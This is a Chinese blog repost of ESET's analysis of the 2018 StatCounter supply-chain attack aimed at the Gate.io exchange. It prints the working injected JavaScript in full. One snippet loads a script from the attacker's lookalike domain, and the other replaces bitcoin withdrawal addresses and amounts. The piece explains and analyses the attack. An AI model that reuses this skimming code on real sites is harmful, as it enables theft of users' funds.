Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

【ESET】通过供应链攻击拿下数字货币交易所 Gate.io

wpadmin~November 9, 2018 /InfoSec

【ESET】通过供应链攻击拿下数字货币交易所 Gate.io

【ESET】通过供应链攻击拿下数字货币交易所 Gate.io

https://www.welivesecurity.com/2018/11/06/supply-chain-attack-cryptocurrency-exchange-gate-io/

顺带提到一个 JavaScript 压缩工具
http://dean.edwards.name/packer/

事件

[11月7日星期三更新] 11月6日,StatCounter 删除了恶意脚本。几个小时前,Gate.io 停止使用StatCounter 分析服务来防止进一步感染。因此,此事件现已解决,并且可以安全地浏览这两个网站。

11月3日,攻击者成功攻击了领先的网络分析平台 StatCounter。

StatCounter 是一个类似 CNZZ, Google Analytics 的网络分析平台。通常网站管理员会引入一段来自这些统计平台的 JavaScript 代码到网站的 (每一个) 页面中。因此,通过侵入 StatCounter 平台,攻击者可以在使用 StatCounter 的所有网站中注入 JavaScript 代码。

myselfloc = '' + document.location;
if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) {
    var ga = document.createElement('script');
    ga.src = 'https://www.statconuter.com/c.php';
    ga.setAttribute('async', 'true');
    document.documentElement.firstChild.appendChild(ga);
}

这段代码将首先检查 URL 是否包含 myaccount/withdraw/BTC 。因此,我们已经可以猜测攻击者的目标是以比特币平台为目标。如果检查通过,脚本将继续向网页添加新的脚本元素,并将代码合并到 https//www.statconuter.com/c.php

根据 coinmarketcap.com ,数百万美元,包括 160万美元 的比特币交易,每天都在这个平台进行交易。因此,攻击者在这个平台上大规模窃取加密货币可能是非常有利可图的。

document.forms[0]['addr'].value = '';
document.forms[0]['amount'].value = '';
doSubmit1 = doSubmit;
doSubmit = function () {
    var a = document.getElementById('withdraw_form');
    if ($('#amount').val() > 10) {
        document.forms[0]['addr']['name'] = '';
        var s = $("<input type='hidden' name='addr'/>");
        s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
        var b = $('#withdraw_form');
        b.append(s);
        a.submit();
    } else if (document.getElementById('canUse').innerText > 10) {
        document.forms[0]['addr']['name'] = '';
        var s = $("<input type='hidden' name='addr'/>");
        s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
        var b = $('#withdraw_form');
        b.append(s);
        document.forms[0]['amount']['name'] = '';
        var t = $("<input type='hidden' name='amount'/>");
        t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText));
        b.append(t);
        a.submit();
    } else {
        doSubmit1();
    }
};

在真正的 gate.io 网页中,已经有一个 doSubmit 函数,当用户点击提交按钮时调用,但攻击者在这里重新定义它。

该脚本会自动使用属于攻击者的地址替换目标比特币地址,例如 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad 。每次访问者加载 statconuter.com/c.php 脚本时,恶意服务器都会生成一个新的比特币地址。因此,很难看出有多少比特币已转移给攻击者。

由于每次将恶意脚本发送给受害者时都会生成一个新的比特币地址,我们无法看到攻击者收集了多少比特币。例如,如果我们检查我们在测试机器上收到的地址,则余额为 0 BTC。

结论

即使我们不知道在这次攻击中有多少比特币被盗,它也显示了攻击者为了攻击一个网站愿意走多远,尤其是是加密货币交换。为了实现从一个加密货币交换网站的客户那里窃取比特币的目标,黑客破坏了分析服务的网站,该网站被超过 200万 个其他网站(包括几个与政府相关的网站)使用。

它还表明,即使您的网站已更新并受到良好保护,它仍然容易受到最薄弱的链接的影响,在这种情况下,该链接是外部资源。这是另一个提醒,外部 JavaScript 代码由第三方控制,可以随时修改,恕不另行通知。

我们发现这种恶意活动的同时就已经通知了 StatCounter 和 gate.io.

Leave a Reply

Your email address will not be published. Required fields are marked *